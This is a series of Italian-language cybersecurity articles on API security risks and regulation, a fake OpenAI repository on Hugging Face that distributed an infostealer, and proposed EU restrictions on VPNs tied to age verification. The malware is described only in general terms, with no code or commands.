C’è un paradosso silenzioso al cuore dell’economia digitale contemporanea. Le API (Application Programming Interface) sono l’infrastruttura nervosa che tiene in vita ogni transazione bancaria, ogni ordine di e-commerce, ogni scambio di dati sanitari, ogni richiesta di un’applicazione mobile. Sono invisibili all’utente finale, onnipresenti nel codice, fondamentali per qualunque modello di business digitale. Eppure, proprio questa ubiquità le rende il bersaglio preferito degli attaccanti moderni e, troppo spesso, il punto più trascurato dell’intera catena della sicurezza informatica.

I numeri aiutano a comprendere la dimensione del problema. Secondo il Cloudflare Radar 2025 Year in Review, l’analisi più autorevole e aggiornata disponibile, basata sull’osservazione diretta di una rete globale presente in oltre 330 città, le API rappresentano oggi più della metà di tutto il traffico web dinamico, con un’incidenza in costante crescita.

Akamai, su un campione diverso di traffico internet, stima la quota fino all’83%. Nel solo 2025, le API hanno generato oltre 11.000 bollettini di sicurezza, pari al 17% di tutte le vulnerabilità software pubblicamente divulgate in un anno. Il traffico malevolo diretto verso le API è cresciuto del 681% nell’arco degli ultimi anni, secondo il Wallarm 2026 API ThreatStats Report. Quasi il 99% delle organizzazioni ha dichiarato di aver subito almeno un incidente legato alla sicurezza delle API negli ultimi dodici mesi. Non si tratta di statistiche marginali: è la fotografia di un’infrastruttura critica sotto assedio sistematico, e di un settore che stenta ancora a rispondere con adeguata consapevolezza.

Un bersaglio su misura per gli attaccanti

Cosa rende le API un vettore così attraente? La risposta sta nella loro natura strutturale. A differenza delle applicazioni web tradizionali, un’API non ha una “porta d’ingresso” visibile: non ha un login, non ha un CAPTCHA, non ha l’interfaccia grafica che un essere umano deve attraversare. È progettata per essere consumata da macchine, e le macchine non faticano a sparare decine di migliaia di richieste al secondo. Un’organizzazione che espone API pubbliche riceve in media 10.000 attacchi al giorno. Le API GraphQL, sempre più diffuse per la loro flessibilità, hanno visto un incremento del 140% nei tentativi di abuso nel corso del 2025.

La semplicità di attacco è altrettanto allarmante. Secondo il Wallarm 2026 API ThreatStats Report, il 97% delle vulnerabilità API è sfruttabile con una singola richiesta HTTP. Il 98% è classificato come facile o banale da sfruttare. Il 59% non richiede nemmeno autenticazione. Il 30% ha già exploit pubblici disponibili nel momento stesso in cui la vulnerabilità viene divulgata. Questa combinazione di alta diffusione, alta sfruttabilità e bassa complessità trasforma le API in un terreno di caccia privilegiato per attori di ogni livello, dai criminali opportunistici alle APT sofisticate.

A questo si aggiunge la questione del rilevamento. Solo il 21% delle organizzazioni dichiara di avere capacità solide nell’identificare attacchi a livello API. Appena il 13% riesce a prevenire più del 50% degli attacchi. Gli strumenti tradizionali come i Web Application Firewall (WAF) si rivelano inadeguati: il 53% delle organizzazioni ne riconosce apertamente i limiti nella rilevazione di frodi a livello API. Siamo di fronte a un disallineamento strutturale tra la superficie esposta e le difese disponibili.

L’OWASP API Security Top 10: una mappa delle fragilità

Dal 2019, l’Open Worldwide Application Security Project pubblica la propria lista delle vulnerabilità API più critiche. La versione aggiornata al 2023, oggi il riferimento di settore, riflette un’evoluzione significativa del panorama delle minacce. L’88% degli attacchi reali sfrutta almeno una delle vulnerabilità elencate, il che rende questa tassonomia uno strumento di prioritizzazione imprescindibile per qualunque team di sicurezza.

API1:2023 – Broken Object Level Authorization (BOLA) rimane, a distanza di anni, la vulnerabilità più sfruttata nelle API. Si manifesta quando un endpoint espone dati di un oggetto senza verificare che l’utente autenticato abbia effettivamente il diritto di accedervi. Un attaccante che conosce o indovina l’identificatore di un record (un numero d’ordine, un ID paziente, un codice cliente) può semplicemente cambiarlo nella richiesta e accedere ai dati altrui. La logica è elementare; l’impatto, devastante.

API2:2023 – Broken Authentication aggrega tutte le debolezze legate alla gestione dell’identità: password deboli, token JWT mal configurati, assenza di blocco su tentativi multipli, meccanismi di reset insicuri. In questa categoria rientrano anche i frequenti errori nella gestione dei segreti: chiavi API hard-coded nel codice sorgente, token esposti in repository pubblici, credenziali condivise tra ambienti di produzione e sviluppo. Un caso emblematico, divulgato nel dicembre 2024 dal team TRIAD di CloudSEK: la scoperta di oltre 30.000 workspace Postman accessibili pubblicamente, contenenti token di accesso attivi, chiavi API reali e payload con dati sanitari e credenziali aziendali di organizzazioni in settori che vanno dalla finanza all’abbigliamento sportivo.

API3:2023 – Broken Object Property Level Authorization (BOPLA) è una novità della lista 2023, nata dalla fusione di due categorie precedenti (Excessive Data Exposure e Mass Assignment). Riconosce che il problema non è solo chi può accedere a un oggetto, ma anche quali proprietà di quell’oggetto possono essere lette o modificate. Un utente che riesce a modificare un campo come role: admin in una richiesta PUT sta sfruttando esattamente questa vulnerabilità.

API4:2023 – Unrestricted Resource Consumption riguarda la mancanza di limiti efficaci sull’uso delle risorse: assenza di rate limiting, nessun controllo sulla dimensione dei payload, nessun tetto alle query su database o ai servizi di terze parti a pagamento. Gli attacchi DDoS diretti alle API sono cresciuti del 200% nel 2025. In assenza di throttling, un attaccante può paralizzare un servizio o generare costi operativi insostenibili attraverso richieste massive e automatizzate.

API5:2023 – Broken Function Level Authorization (BFLA) colpisce quando la distinzione tra funzioni amministrative e funzioni utente non è enforcement a livello backend. Se un’API non verifica il livello di privilegio richiesto per ciascun endpoint, un utente ordinario potrebbe invocare endpoint di amministrazione semplicemente conoscendone il path.

API6:2023 – Unrestricted Access to Sensitive Business Flows è la vulnerabilità più sottile e difficile da rilevare automaticamente. Non riguarda un bug tecnico, ma l’assenza di protezione contro l’uso massiccio e automatizzato di flussi di business legittimi: acquisto di biglietti, creazione di account, pubblicazione di contenuti. Un bot che acquista in millisecondi tutti i posti di un concerto sta sfruttando questa categoria, e nessuno scanner tradizionale lo individuerà.

API7:2023 – Server-Side Request Forgery (SSRF) è una novità del 2023. Si verifica quando un’API recupera risorse remote senza validare l’URI fornito dall’utente, consentendo a un attaccante di instradare richieste verso sistemi interni, servizi di metadata cloud o endpoint protetti da firewall.

API8:2023 – Security Misconfiguration è il contenitore di una casistica vastissima: CORS permissivi, header di sicurezza assenti, messaggi di errore verbosi che rivelano la struttura interna, TLS non configurato, porte di debug esposte in produzione. I cloud provider registrano misconfigurazioni API in oltre il 30% dei casi di breach.

API9:2023 – Improper Inventory Management riguarda le cosiddette shadow API, un tema che merita un approfondimento dedicato per la rilevanza che ha assunto negli ultimi anni, come illustrato nel paragrafo seguente.

API10:2023 – Unsafe Consumption of APIs è l’unica voce della lista che capovolge la prospettiva: non riguarda i rischi di essere un provider di API, ma quelli di essere un consumer. Un’applicazione che consuma API di terze parti senza validarne l’output, senza limitare i dati elaborati e senza considerare la possibilità di un provider compromesso, eredita automaticamente le vulnerabilità di quell’ecosistema.

Il problema delle shadow API: quello che non sai che esiste

Tra tutte le sfide della sicurezza API, la gestione delle API non documentate, denominate shadow API o zombie API, è probabilmente la più sistemica e la più sottovalutata. Le shadow API sono endpoint reali, attivi, raggiungibili dalla rete, che non compaiono in nessun inventario ufficiale, non sono soggetti a test di sicurezza, non sono monitorati da nessun team. Possono essere API di vecchie versioni dimenticate durante una migrazione, endpoint di sviluppo mai rimossi in produzione, integrazioni create da team interni senza passare per il processo formale di release.

I numeri dicono che le shadow API rappresentano oltre il 20% dell’inventario API totale nelle organizzazioni enterprise. Le istituzioni finanziarie gestiscono in media 601 API e una parte rilevante di queste sfugge a qualsiasi governance attiva. Un caso paradigmatico del 2025 è quello di Stripe: attaccanti hanno individuato un endpoint legacy (/v1/sources) ancora collegato ai sistemi di validazione pagamenti, privo dei controlli di sicurezza delle API moderne, e lo hanno sfruttato per condurre una campagna massiva di card skimming su almeno 49 e-commerce compromessi. L’endpoint era un residuo dell’architettura precedente, scarsamente documentato e ignorato nei security audit. Non una vulnerabilità zero-day: un oggetto dimenticato.

Quello di Stripe non è un caso isolato. Il breach di Optus del settembre 2022 ha esposto i dati personali di quasi 10 milioni di clienti australiani, quasi un terzo della popolazione del paese, attraverso un’API priva di autenticazione rimasta accessibile da internet per circa tre mesi. Secondo l’analisi dell’Australian Communications and Media Authority (ACMA), un errore di codifica introdotto nel 2018 aveva reso inefficaci i controlli di accesso su un sottodominio, e il problema era rimasto non rilevato nonostante una correzione parziale applicata nel 2021 sul dominio principale. L’attaccante non aveva bisogno di strumenti sofisticati: l’API non richiedeva alcuna autenticazione, e i customer ID erano numerici e incrementali, rendendoli banalmente enumerabili.

Il breach che nel 2022 ha colpito Twitter è spesso descritto in modo impreciso. Non si trattava di un’API legacy dimenticata, ma di un bug introdotto nell’aggiornamento del codice di giugno 2021: la vulnerabilità consentiva a chiunque di sottomettere un numero di telefono o un indirizzo e-mail all’API della piattaforma e ricevere in risposta l’ID dell’account Twitter associato, anche quando l’utente aveva esplicitamente configurato le impostazioni di privacy per impedire questa correlazione.

Il bug fu segnalato tramite bug bounty in gennaio 2022 e corretto subito dopo; era però già stato sfruttato da almeno dicembre 2021. Un threat actor aveva creato un database di 5,4 milioni di profili, incluse informazioni private come numeri di telefono e indirizzi e-mail, poi venduto online e infine diffuso gratuitamente. Ulteriori analisi rivelarono che la stessa vulnerabilità era stata sfruttata su scala molto più ampia, portando a un dataset finale di oltre 200 milioni di account.

In entrambi i casi, come nel caso Stripe, la catena causale è identica: controlli insufficienti, endpoint dimenticati o alterati, nessun monitoraggio, nessun alert.

Breach recenti: leggere gli incidenti come segnali

L’analisi dei 60 breach API divulgati nel 2025, condotta da Wallarm nel 2026 API ThreatStats Report, restituisce un quadro per settori e categorie: software (15%), piattaforme AI (15%), vendor di cybersecurity (13%), SaaS (8%), automotive (7%), cloud services (7%). Mappati sulla tassonomia OWASP, la broken authentication è responsabile del 52% degli incidenti, mentre l’unsafe consumption di API di terze parti spiega il 27%.

Tra gli episodi più rilevanti del 2025: API di terze parti hanno esposto milioni di record presso il fornitore di servizi creditizi 700Credit; debolezze nell’autenticazione delle API Qantas hanno permesso accessi di massa non autorizzati; credenziali rubate e permessi API eccessivi hanno abilitato transazioni fraudolente su SwissBorg; server MCP esposti hanno fatto trapelare infrastrutture di agent AI su larga scala. A maggio 2025 un hacker con lo pseudonimo “ByteBreaker” ha pubblicato su forum underground la presunta raccolta di dati relativi a 1,2 miliardi di account Facebook tramite abuso di API.

Meta ha negato si tratti di un breach nuovo, sostenendo che il dataset reimpacchetti dati già divulgati nel 2021; i ricercatori di Cybernews e Hackread hanno rilevato incongruenze strutturali nella dimensione dichiarata e sovrapposizioni significative con il leak precedente. Il claim resta pertanto non verificato indipendentemente, ma l’episodio conferma il modello di sfruttamento delle API come vettore di data harvesting massivo.

Il filo conduttore è sempre lo stesso: non exploit sofisticati, non attori nation-state con capacità eccezionali, ma debolezze fondamentali (autenticazione assente o debole, autorizzazione non granulare, endpoint dimenticati, terze parti non verificate) sfruttate con strumenti automatizzati alla portata di qualunque attore.

DevSecOps e la sicurezza by design: integrare prima che sia tardi

La risposta sistemica al problema della sicurezza API non può essere post-hoc. Applicare controlli di sicurezza su API già in produzione è costoso, inefficace e spesso destinato a fallire. La strada maestra è l’integrazione della sicurezza nel ciclo di vita dello sviluppo, in quello che il settore definisce approccio DevSecOps oppure, più recentemente, shift-left security.

In pratica, questo significa che il processo di sviluppo deve includere: modellazione delle minacce nella fase di design (identificare le attack surface prima di scrivere codice); revisione del codice orientata alla sicurezza (con particolare attenzione alla gestione dei segreti, alla sanitizzazione degli input, alla corretta implementazione dell’autenticazione); test automatizzati di sicurezza nelle pipeline CI/CD (SAST per il codice sorgente, DAST per le API deployate, test specifici contro le vulnerabilità OWASP); e monitoraggio continuo in produzione, con alerting su anomalie comportamentali che potrebbero segnalare tentativi di exploitation.

Questo approccio richiede che la sicurezza non sia responsabilità esclusiva di un team separato, ma venga distribuita attraverso l’intera organizzazione di sviluppo. I developer devono conoscere le vulnerabilità OWASP API Top 10. I team di prodotto devono includere requisiti di sicurezza nelle specifiche. I team di infrastruttura devono garantire che le pipeline espongano segnali di sicurezza rilevabili. Tuttavia, secondo il 2025 State of API Security Report di Traceable AI, basato su oltre 1.500 professionisti IT e cybersecurity, solo il 14% delle organizzazioni ha attualmente una strategia formale di API posture governance. Il gap tra l’ambizione del DevSecOps e la sua attuazione pratica rimane ampio.

Un nodo critico è rappresentato dall’adozione dell’AI generativa nello sviluppo software. La pratica del cosiddetto vibe coding, generare codice API con assistenti AI senza un’adeguata revisione critica, è diventata pervasiva. Secondo Akamai, l’AI-assisted coding è associato a un aumento di misconfigurazioni, impostazioni predefinite insicure e vulnerabilità trascurate nelle API generate. Il 65% delle organizzazioni considera la GenAI un rischio da serio a estremo per la sicurezza delle proprie API. La velocità di sviluppo che l’AI permette amplifica proporzionalmente la superficie esposta se non è accompagnata da un’eguale accelerazione dei controlli di sicurezza.

PSD2, Open Banking e DORA: la sicurezza delle API come obbligo regolatorio

Nel settore finanziario, la sicurezza delle API non è solo una questione tecnica: è un obbligo normativo con conseguenze legali misurabili. La Direttiva PSD2 ha imposto alle banche europee di esporre API dedicate ai Third-Party Provider (TPP), ovvero fintech autorizzate a offrire servizi di pagamento e aggregazione di conti, con requisiti stringenti di Strong Customer Authentication (SCA), dynamic linking e identificazione tramite certificati eIDAS. In questa architettura aperta, ogni vulnerabilità su un’API bancaria è potenzialmente una violazione dei dati del cliente, una frode abilitata dalla piattaforma e una sanzione per la banca emittente.

Le penali per non conformità possono raggiungere il 4% del fatturato annuo o 5 milioni di euro, applicando il criterio più alto. Ma il quadro si è ulteriormente complicato. Con l’accordo politico su PSD3/PSR raggiunto a novembre 2025 e l’adozione formale attesa nel primo semestre 2026, cui seguirà un periodo di transizione di 21 mesi verso l’implementazione completa prevista intorno al 2027, le banche europee si trovano ora a navigare obblighi paralleli e crescenti: responsabilità ampliata per le frodi da impersonificazione, verifica obbligatoria del beneficiario (Verification of Payee), autenticazione a doppia inerenza e benchmark di performance API più severi.

Parallelamente, DORA (il Digital Operational Resilience Act, entrato pienamente in vigore il 17 gennaio 2025) ha unificato il regime di incident reporting per il settore finanziario. L’EBA ha formalmente abrogato le proprie linee guida PSD2 sulla notifica degli incidenti, sostituendole con il framework DORA. Questo cambiamento non è meramente amministrativo: significa che un breach su un’API Open Banking deve ora essere gestito attraverso il prisma della resilienza operativa digitale, con obblighi di notifica armonizzati e un orizzonte di governance che abbraccia l’intera catena tecnologica, incluse le terze parti. Va notato che questa convergenza risolve parzialmente, ma non elimina, la tensione strutturale tra PSD2 (che spinge verso l’apertura dei dati) e il GDPR (che impone la protezione dei dati personali).

Come documentato in uno studio peer-reviewed pubblicato su MDPI nel gennaio 2026, i requisiti sovrapposti di consenso e protezione dei dati creano ancora incertezza nella governance e nell’allocazione delle responsabilità tra banche e TPP, anche alla luce del quadro normativo europeo DORA e NIS2.

Sul piano tecnico, il framework FAPI 2.0 (Financial-grade API Security Profile) ha raggiunto la propria specifica finale nel febbraio 2025, diventando il riferimento per l’implementazione sicura di API ad alto valore. FAPI 2.0 richiede l’uso di Pushed Authorization Requests (PAR), PKCE per tutti i client e token sender-constrained tramite mTLS o DPoP. Il 75% delle banche europee ha già adottato lo standard NextGenPSD2 del Berlin Group.

PCI DSS 4.0.1, diventata l’unica versione attiva dall’aprile 2025, è il primo standard PCI a citare esplicitamente le API come oggetto di controlli di sicurezza: il Requisito 6.4.2 impone soluzioni automatizzate davanti alle API pubbliche per rilevare e prevenire attacchi; il Requisito 6.3.2 richiede un inventario completo di tutto il software custom incluse le API. La non conformità comporta sanzioni tra 5.000 e 100.000 dollari al mese.

La frammentazione persistente nella qualità delle implementazioni rimane una fonte di rischio documentata dalla stessa Commissione Europea, che ha rilevato significative discrepanze negli standard API tra istituti diversi: un problema che PSD3 punta a risolvere attraverso benchmark di performance più stringenti e l’eliminazione definitiva del fallback allo screen scraping.

Verso una maturità sistemica: cosa manca ancora

Osservando il panorama nel suo insieme, la distanza tra il livello di esposizione e il livello di maturità difensiva delle organizzazioni appare strutturalmente preoccupante. Il 57% delle organizzazioni ha subito un breach API negli ultimi due anni, con il 73% di queste che ne ha subiti tre o più. Il 41% dichiara cinque o più episodi. Si tratta di fallimenti sistemici, non di incidenti episodici.

La risposta richiede un cambio di paradigma su più livelli. Primo, il problema della visibilità: non è possibile proteggere ciò che non si conosce. La discovery continua delle API, incluse le shadow API, deve diventare una funzione operativa permanente, non un esercizio periodico. Secondo, il problema della governance: le organizzazioni devono trattare ogni API come un asset critico, con un ciclo di vita documentato, un responsabile identificato, test di sicurezza automatizzati e metriche di esposizione misurabili. Terzo, il problema della cultura: finché la sicurezza API è percepita come un vincolo tecnico imposto a posteriori, anziché come una proprietà architettonica costruita ab initio, il divario tra attaccanti e difensori continuerà ad ampliarsi.

Le previsioni per il 2026 non lasciano spazio all’ottimismo passivo. Akamai stima che le API diventeranno il vettore dominante per i breach a livello applicativo, potenzialmente responsabili di più della metà di tutti gli attacchi alle applicazioni. Il Model Context Protocol, l’infrastruttura che collega gli agenti AI alle API esterne, ha già accumulato 315 vulnerabilità documentate nel 2025, pari al 14,4% di tutte le vulnerabilità AI, con una crescita del 270% tra il secondo e il terzo trimestre. L’interconnessione crescente tra sistemi AI agentici e API di business apre una superficie d’attacco che oggi non è ancora pienamente compresa né adeguatamente presidiata.

Conclusione

Le API sono, nel senso più letterale, i punti di connessione dell’economia digitale. Sono ciò che permette a una banca di condividere i dati di un cliente con un’app fintech, a un ospedale di integrare i referti con un sistema di telemedicina, a una supply chain di coordinare ordini e spedizioni in tempo reale. La loro sicurezza non è un problema tecnico tra gli altri: è una condizione necessaria per la fiducia digitale su cui si regge l’intero ecosistema.

Il paradosso è che questa centralità non si traduce ancora in un’attenzione proporzionale. Le organizzazioni investono in perimetri, in endpoint protection, in SIEM sofisticati e lasciano le API senza inventario, senza test, senza monitoraggio. Solo il 14% ha una strategia formale di governance. Meno di una su cinque riesce a rilevare con sufficiente efficacia gli attacchi che la colpiscono. Gli attaccanti hanno capito dove si trova il valore. La domanda è se le organizzazioni abbiano la stessa chiarezza sul proprio tallone d’Achille e, soprattutto, se abbiano la volontà di trasformare quella consapevolezza in azione prima che sia il prossimo breach a farlo decidere per loro.

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Falso repository OpenAI su Hugging Face distribuisce malware


La corsa all’AI sta creando nuove superfici di attacco e i cybercriminali stanno iniziando a sfruttarle con tecniche sempre più sofisticate. L’ultimo caso arriva dal mondo dei modelli open source e delle piattaforme collaborative dedicate all’intelligenza artificiale: un repository malevolo pubblicato su Hugging Face è riuscito a spacciarsi per un progetto ufficiale di OpenAI, raggiungendo rapidamente la vetta dei contenuti più popolari prima di essere rimosso.

Secondo quanto riportato da The Hacker News, il repository fraudolento imitava il progetto “privacy-filter” di OpenAI, copiandone descrizione e struttura per convincere sviluppatori e ricercatori a scaricare codice malevolo. L’obiettivo finale, come avviene sempre più spesso negli attacchi alla catena del software, era il furto di credenziali, cookie di sessione e dati sensibili dai browser Windows delle vittime.

L’attacco alla fiducia dell’ecosistema AI open source

La vicenda mostra come l’ecosistema AI stia vivendo una dinamica molto simile a quella già osservata negli anni nel mondo dei package npm, PyPI e GitHub. I criminali non devono necessariamente violare infrastrutture complesse: spesso basta sfruttare la fiducia implicita che sviluppatori e ricercatori ripongono nei repository pubblici.

Nel caso specifico, gli attaccanti hanno creato un progetto chiamato “Open-OSS/privacy-filter”, estremamente simile a quello reale pubblicato da OpenAI. Il repository riprendeva testi, descrizioni e struttura del progetto originale, rendendo difficile per molti utenti distinguere il repository legittimo da quello malevolo.

Secondo le analisi, il repository sarebbe riuscito a ottenere centinaia di migliaia di download prima della rimozione, sfruttando anche account fake e meccanismi di trending della piattaforma.

Come funzionava il malware nascosto nel repository

Il cuore dell’attacco era un file Python apparentemente innocuo chiamato “loader.py”. Dietro codice, che simulava normali funzioni AI, il file nascondeva una catena di infezione progettata per scaricare ed eseguire un infostealer sviluppato in Rust.

L’analisi tecnica evidenzia diversi elementi tipici delle moderne campagne malware. Uno dei primi passaggi consisteva nella disattivazione della verifica SSL, scelta che permetteva al codice di contattare server remoti senza controlli rigorosi sui certificati.

Successivamente il malware decodificava dinamicamente URL in Base64 e recuperava payload esterni contenenti comandi PowerShell eseguiti in background. Da lì veniva scaricato il componente finale dell’attacco: un infostealer compilato in Rust, linguaggio sempre più utilizzato nel cybercrime moderno perché più difficile da analizzare e facilmente utilizzabile su più piattaforme.

Una volta attivo, il malware cercava informazioni nei browser Chromium e Gecko-based, inclusi Chrome, Edge e Firefox. Nel mirino finivano password salvate, cookie, token di autenticazione e sessioni attive, informazioni particolarmente preziose per compromettere account cloud, piattaforme AI e servizi enterprise.

Il nuovo problema: modelli AI come vettore di supply chain attack

Il caso conferma una tendenza che molti ricercatori stanno osservando da mesi: le piattaforme AI stanno diventando un nuovo terreno di supply chain attack.

Hugging Face, come GitHub nel mondo software tradizionale, si basa su un modello estremamente aperto. Chiunque può pubblicare modelli, dataset e codice. Questa apertura accelera l’innovazione, ma crea anche un ambiente ideale per campagne di impersonificazione, typosquatting e distribuzione malware.

Il problema è amplificato dalla velocità con cui le aziende stanno adottando strumenti AI. Molti sviluppatori scaricano modelli e repository senza effettuare verifiche approfondite sull’autore, sulle dipendenze o sul codice eseguito localmente. Il risultato è che la fiducia nell’ecosistema open source AI rischia di diventare un nuovo punto debole della sicurezza enterprise. Non a caso, negli ultimi mesi si sono moltiplicati gli incidenti legati a modelli malevoli, package compromessi e strumenti AI distribuiti con payload nascosti.

Perché gli infostealer sono così pericolosi nel mondo AI

Gli infostealer rappresentano oggi una delle categorie malware più redditizie per i cybercriminali. Nel contesto AI, il loro valore cresce ulteriormente perché gli sviluppatori tendono ad avere accesso privilegiato a infrastrutture cloud, repository di codice e piattaforme di training. Un singolo account compromesso può consentire attacchi a catena contro pipeline CI/CD, modelli proprietari, dataset sensibili e infrastrutture cloud aziendali. Cookie di sessione e token API possono inoltre permettere agli attaccanti di bypassare MFA e altri controlli tradizionali.

In pratica, il furto di credenziali da un laptop di sviluppo può diventare il punto di partenza per compromissioni molto più ampie, incluse intrusioni nella supply chain software o manipolazioni di modelli AI distribuiti pubblicamente.

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La Ue vuole introdurre nuove regole per limitare le VPN. Quali rischi per la sicurezza online?

L’Unione Europea ha un problema con le VPN, le reti private virtuali. E lo sa bene. Il Servizio di Ricerca del Parlamento Europeo, il braccio dell’Europarlamento dedicato alle ricerche, ha pubblicato un briefing questa settimana descrivendo le VPN come “un buco nero nella legislazione che va colmato”.  

Il motivo scatenante: milioni di persone stanno utilizzando strumenti per la privacy per aggirare i nuovi sistemi di verifica dell’età progettati per impedire ai minori di accedere ai siti web per adulti.

La tempistica è precisa. La vicepresidente esecutiva dell’UE, Henna Virkkunen, aveva appena dichiarato in una conferenza stampa che aggirare la nuova app di verifica dell’età lanciata dal blocco tramite una VPN non dovrebbe essere possibile, definendolo uno dei “prossimi passi” che i responsabili politici dovranno esaminare. Non ha usato la parola “divieto”, ma ci è andata molto vicino.

Ma la limitazione dell’uso delle VPN per agevolare i sistemi di age verification (verifica dell’età) è un’arma a doppio taglio che, se da un lato cerca di proteggere i minori, dall’altro introduce significativi risvolti negativi sulla sicurezza online e la privacy degli adulti.

Che cos’è una VPN?

Ue ultima in ordine di tempo a muoversi sulle VPN

L’UE è l’ultima autorità a segnalare che le VPN saranno le prossime a essere prese di mira, dopo aver lanciato la sua app per la verifica dell’età: ecco come le VPN sono passate da strumento di sicurezza indispensabile a software di elusione che deve essere limitato.

Con l’accesso a Internet sempre più limitato in base all’età, gli utenti si rivolgono alle app VPN nel tentativo di aggirare i controlli obbligatori. L’UE è ora l’ultima a rivolgere la sua attenzione a questa tecnologia e gli esperti di sicurezza informatica sono preoccupati.

La vicepresidente esecutiva dell’UE, Henna Virkkunen, non ha dovuto menzionare esplicitamente l’espressione “divieto delle VPN” o “restrizioni alle VPN” per allarmare gli esperti di sicurezza informatica e i cittadini attenti alla privacy. Dopotutto, quella che un tempo era una misura drastica riservata ai regimi autoritari si è semplicemente trasformata nel naturale passo successivo per le autorità di regolamentazione democratiche, poiché l’obbligo di verificare la propria età è diventato semplicemente un aspetto normale dell’essere online.

“Naturalmente, un aspetto importante dei prossimi passi è anche quello di evitare che il sistema venga aggirato”, ha detto Virkkunen durante una conferenza stampa tenutasi il 29 aprile, rispondendo a una domanda sulle misure per impedire ai minori di eludere la nuova app di verifica dell’età semplicemente utilizzando un servizio VPN.

Negli ultimi sette giorni, una valanga di critiche ha invaso i social media per contestare la risposta di Virkkunen, con il crittografo belga Bart Preenel che l’ha definita “la china scivolosa di cui gli esperti avevano messo in guardia”.

Restrizioni sulle VPN in Utah

Ma questo non è affatto un caso isolato. La scorsa settimana, lo Utah è diventato il primo Stato americano a imporre restrizioni sull’uso delle VPN nell’ambito della sua ultima normativa sulla verifica dell’età. Tuttavia, una forte reazione negativa era riuscita a far naufragare un’idea simile nel Wisconsin lo scorso febbraio.

Solo pochi giorni prima, il Regno Unito aveva approvato il Children’s Wellbeing and Schools Bill, che include l’obbligo per i fornitori di servizi per adulti di adottare “ragionevoli misure anti-elusione”.

E la consultazione del Regno Unito sui danni online è tuttora in corso. Il governo ha già confermato che le VPN potrebbero essere soggette a restrizioni di età se riterrà che questi strumenti compromettano la sicurezza online.

In altri paesi europei, anche i politici francesi hanno confermato pubblicamente che “le VPN sono le prossime sulla lista” dopo che il Parlamento ha approvato il primo divieto europeo sull’uso dei social media da parte degli adolescenti.

Da strumento cruciale per la sicurezza informatica, un tempo molto apprezzato e raccomandato, le VPN e servizi simili sembrano essere stati etichettati come pericolosi software di elusione che i governi vogliono controllare e limitare. Ma come siamo arrivati ​​a questo punto? E, soprattutto, quali sono i rischi di questa crociata contro le VPN?

L’effetto della verifica dell’età sulla minaccia rappresentata dalle VPN

La verifica obbligatoria dell’età arriva come risposta a un mondo online che molti governi ritengono sia diventato troppo pericoloso per i minori.

Il Regno Unito è stato il primo paese a implementare la verifica obbligatoria per accedere ai cosiddetti contenuti “legali ma dannosi” nel luglio dello scorso anno. Altri paesi in tutto il mondo hanno rapidamente replicato una legislazione simile.

Poi è arrivato il momento per l’Australia di dare un altro esempio da seguire, quando a dicembre il governo ha imposto il divieto, il primo al mondo, di utilizzare i social media per i minori di 16 anni. Diversi governi, tra cui Francia, Regno Unito, Unione Europea, Grecia e Spagna, stanno ora spingendo per l’adozione di norme simili.

Con la diffusione dei controlli obbligatori sull’età, è emerso uno schema ricorrente: l’introduzione di tali controlli coincide sempre con un picco nell’utilizzo delle VPN da parte dei cittadini.

Le VPN, infatti, non solo crittografano tutte le connessioni internet, ma mascherano anche il vero indirizzo IP, facendo apparire la navigazione come se ci si trovasse in un altro Paese. Questa capacità permette di eludere qualsiasi restrizione geografica, compresi i controlli sull’età.

Non è facile stabilire con certezza se questi utenti siano per lo più adulti non disposti a scansionare il proprio volto o il passaporto per utilizzare internet, o minori che cercano di accedere a contenuti non adatti alla loro età; in realtà, alcuni studi condotti da gruppi come Childnet e Internet Matters sostengono che la proporzione penda dalla prima ipotesi.

Ma a quanto pare questo è sufficiente a spingere i governi a considerare l’uso delle VPN principalmente come uno strumento di elusione.

I pericoli del divieto delle VPN

Che ci piaccia o no, i controlli obbligatori sull’età sono una realtà, quindi sembra comprensibile che i legislatori vogliano chiudere tutte le scappatoie che consentono ai cittadini di aggirare la legge. Ma la realtà sarà più complessa.

Una rete privata virtuale (VPN) è un software di sicurezza che milioni di adulti e aziende utilizzano quotidianamente per migliorare la propria privacy online, la sicurezza e l’esperienza complessiva su Internet. Una VPN crittografa tutti i dati in uscita dal dispositivo, rendendo difficile tracciare le attività dell’utente.

Ecco perché gli esperti di sicurezza informatica temono che limitare l’uso delle VPN possa avere un impatto significativo sulla sicurezza online delle persone, il che, ironicamente, è esattamente ciò che queste leggi cercano di impedire.

Un gruppo del settore VPN, la VPN Trust Initiative (VTI), ha illustrato perfettamente questo rischio in una recente dichiarazione indirizzata al governo del Regno Unito.

“Le politiche che indeboliscono o limitano le VPN rischiano di ridurre la sicurezza online”.

Più paesi impongono controlli sull’età, più persone scaricano VPN

Lo schema è quasi comico. Dopo l’entrata in vigore dell’Online Safety Act nel Regno Unito, uno sviluppatore di app ha segnalato un aumento del 1.800% dei download in un solo mese, secondo Tom’s Hardware. Proton VPN ha visto un aumento del 1.400% delle iscrizioni. In Florida si è registrato un picco del 1.150% di VPN nelle ore successive al blocco dell’accesso a Pornhub. Il documento dell’EPRS lo riconosce apertamente, ma non offre una spiegazione chiara.

Ad aumentare l’imbarazzo dell’UE: è stato scoperto che la sua app di verifica dell’età memorizzava i dati della scansione facciale in file non crittografati, e che il controllo biometrico poteva essere aggirato in meno di due minuti da un ricercatore di sicurezza modificando una singola impostazione. CyberInsider ha riportato per primo il briefing dell’EPRS che ne è seguito.

Le associazioni per la privacy sostengono che questa strada porta a conseguenze pericolose.

Mozilla, Mullvad e Proton hanno replicato con una lettera congiunta indirizzata alle autorità britanniche la scorsa settimana, mettendo in guardia contro mosse che “minerebbero la libertà di Internet”. La VPN Trust Initiative lo ha ribadito senza mezzi termini: considerare le VPN come una scappatoia è “una completa incomprensione del loro ruolo”.

Dall’altra parte dell’Atlantico, lo Utah è diventato il primo stato americano a definire legalmente la posizione di un utente in base alla presenza fisica, e non all’indirizzo IP, rendendo di fatto irrilevante l’uso delle VPN. Le organizzazioni per i diritti digitali l’hanno definita inapplicabile. Gli esperti citano come monito il tentativo, durato anni, costoso e in gran parte fallimentare, della Russia di bloccare le VPN.

Non esiste ancora una legislazione concreta a livello europeo. Ma la direzione intrapresa sta diventando sempre più difficile da fraintendere.

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